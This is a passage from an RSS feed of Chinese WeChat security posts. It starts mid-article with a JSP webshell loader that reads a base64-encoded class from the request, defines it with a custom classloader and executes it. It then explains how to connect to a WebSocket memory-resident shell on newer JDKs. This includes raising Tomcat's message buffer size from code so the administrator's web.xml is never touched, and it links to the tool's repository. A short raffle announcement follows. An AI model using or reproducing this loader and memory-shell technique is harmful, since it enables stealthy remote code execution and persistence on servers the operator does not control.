decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;%</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">String</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> cls </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> request</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getReader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">().</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">readLine</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">();</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cls </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">null</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Object</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> obj </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">new</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> U</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">this</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getClass</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">().</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getClassLoader</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">()).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">g</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">base64Decode</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">cls</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)).</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">newInstance</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">();</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        obj</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">equals</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">new</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Object</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[]{</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">request</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">response</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">});</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">out</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">print</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">obj</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">toString</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">());</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">%&gt;</span></code></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">正常连接</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><img class="rich_pages wxw-img" data-imgfileid="100000454" data-ratio="0.5745341614906833" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="966" src="https://wechat2rss.xlab.app/img-proxy/?k=e1b6d2af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQqgaTZnBXbJATVILgS7um76G8NhuM89pqhmm89UXZdT6s8WOAdWkpAQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 20px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">高版本JDK下的WebSocket内存马</h3><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">这里举一个例子：高版本JDK下如何连接WebSocket内存马</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">背景是蚁剑很早就支持了WebSocket类型的内存马，在JDK&lt;=14的时候可以用Js引擎来实现WebSocket内存马的连接Payload，但是从JDK15开始Js引擎被移除，就无法再使用了。</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">现在有了JSPRAW之后，WebSocket内存马就不存在高版本JDK的兼容性问题了，可以一直支持到最新的JDK22。</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">测试的时候还遇到了一个小坑，注入WS内存马以后连接发现只能执行第一个包，后面的包都没有回复。</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><img class="rich_pages wxw-img" data-imgfileid="100000452" data-ratio="0.11481481481481481" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b0862488&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQSeeyfmqyM3VODicPs6auGtNZPcvS0DdcIDu6n2Bbnasfoe2RvGUpaIw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">debug了一番发现原因是Tomcat中WebSocke 发送信息默认长度为8kb，而后续的Payload超过了这个大小。</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">正常的做法是修改web.xml调大这个参数</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(242, 119, 122);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;context-param&gt;</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(242, 119, 122);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;param-name&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">org.apache.tomcat.websocket.textBufferSize</span><span style="color: rgb(242, 119, 122);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/param-name&gt;</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="color: rgb(242, 119, 122);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;param-value&gt;</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">5242800</span><span style="color: rgb(242, 119, 122);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/param-value&gt;</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(242, 119, 122);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/context-param&gt;</span></code></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">当然我们不可能去修改web.xml了，代码里找一下在哪里调用的，修改掉就好了</p><pre style="padding-top: 8px;padding-bottom: 6px;background: rgb(45, 45, 45);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);letter-spacing: normal;text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, &#34;monospace&#34;, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-1" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ServerContainer</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> container </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ServerContainer</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> servletContext</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getAttribute</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(102, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ServerContainer</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 153, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">class</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">getName</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">());</span></code></span></span></p></li><li style="padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">container</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">setDefaultMaxTextMessageBufferSize</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">52428800</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="color: rgb(153, 153, 153);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">// 设置为50m</span></code></span></span></p></li><li style="padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;white-space-collapse: collapse !important;"><span style="line-height: 22px;display: block;word-break: inherit !important;"><code style="margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space-collapse: preserve !important;"><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">container</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">setDefaultMaxBinaryMessageBufferSize</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="color: rgb(249, 145, 87);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">52428800</span><span style="color: rgb(204, 204, 204);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">);</span></code></span></span></p></li></ol></pre><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><br/></p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">这样就可以正常连接了</p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;"><img class="rich_pages wxw-img" data-imgfileid="100000458" data-ratio="0.4564814814814815" style="border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=feadf24f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FLtiayO136fU485xoGfH8Hkhlptnb2T3TQwfH9M5X8BAk8W3exNicZt3veyqvSHSajhoOdNszJcLtqv4ybJcHSicag%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 24px;letter-spacing: normal;text-align: start;text-wrap: wrap;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">最后</h2><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">代码已经同步到github：<a href="https://github.com/AntSwordProject/AntSword-JSP-Template/tree/jspraw" target="_blank">https://github.com/AntSwordProject/AntSword-JSP-Template/tree/jspraw</a></p><p style="margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);letter-spacing: normal;text-align: start;">实战是检验真理的唯一标准，你还有什么建议或者新的玩法呢？欢迎一起讨论:)</p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484614">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=77d145f2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484614%26idx%3D1%26sn%3D97d5a5e57753a30d6bfb16f32027b9b5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 23 Sep 2024 19:00:00 +0800</pubDate>
    </item>
    <item>
      <title>M-SEC社区联动，中秋节礼盒抽奖</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484612&amp;idx=1&amp;sn=a316c98c91a1d7b66be9387040682fdf</link>
      <description>这次就只谈抽奖</description>
      <content:encoded><![CDATA[<p>
<span>Medicean</span> <span>2024-09-07 16:52</span> <span style="display: inline-block;">陕西</span>
</p>

<p>这次就只谈抽奖</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ffdbe182&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlkcJVly3Wy37HfwIHChpxdeLGU1aw7KkY4gDBTbDzypDDZ4NjhgYYnATg4b8lqGAg8p1OvSk3SaC58PHJdAodw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section><span style="font-size: 15px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">提前祝大家中秋节快乐，过了中秋就该国庆了。这次就只谈抽奖，其它话题咱就不扯了，下次，下次一定。</span></strong></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="34" data-backw="34" data-galleryid="" data-imgfileid="100000197" data-ratio="1" data-s="300,640" style="width: 43px;height: 43px;" data-type="jpeg" data-w="48" src="https://wechat2rss.xlab.app/img-proxy/?k=924af117&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy060lXtb8YklejbUq0pljIEibBNv4ymNEficY0hrp4M7ZDfLI7CkfRyjeMKzWZV79URWOicIrD7viaGCw%2F640%3Fwx_fmt%3Djpeg"/></p><section><span style="font-size: 15px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">这</span></strong></span><strong style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">，是本次抽奖活动礼品赞助方。就不介绍那么详细了，自己点进去看吧。</span></strong></section><section class="mp_profile_iframe_wrp"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" 